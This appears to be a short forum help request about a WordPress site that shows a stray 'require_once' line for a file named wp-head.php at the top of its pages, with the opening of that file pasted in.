If you see my website http://www.mobiliariofarmacia.es/
you can find this error at the top of the page and if you look the html code is on top of the code
/** Outputs the WordPress header. */ require_once(ABSPATH . ‘wp-head.php’);

Yes i have the wp-head.php in wordpress folder
i open the php file and this is the code:
<?php
/**

* the WordPress procedural and class library.
*

*
* @package WordPress
*/
